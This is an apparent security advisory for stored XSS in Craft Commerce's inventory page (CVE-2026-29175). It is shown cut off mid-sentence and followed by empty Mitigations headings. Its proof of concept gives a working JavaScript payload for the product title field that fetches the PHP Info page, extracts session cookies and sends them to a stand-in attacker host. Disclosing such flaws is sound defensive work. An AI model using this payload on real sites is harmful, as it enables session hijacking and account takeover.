Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking
Date: 2026-03
Affected: composer/craftcms/commerce
Attack vector: xss
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-29175
CWE: CWE-79

## Summary Stored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page. This vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required. ## Proof of Concept ### Permissions Required - Access the control panel - Access Craft Commerce - Create/Edit products ### Steps to Reproduce 1. Log in to the control panel 2. Navigate to **Commerce → Products** 3. Add a new product and set the **Title** field to: (replace `https://attacker.com`) ```html <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> ``` 4. Save the product 5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`) 6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server ### Cookie Extraction Details The PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multip


Mitigations:

Architectural layers (MAESTRO):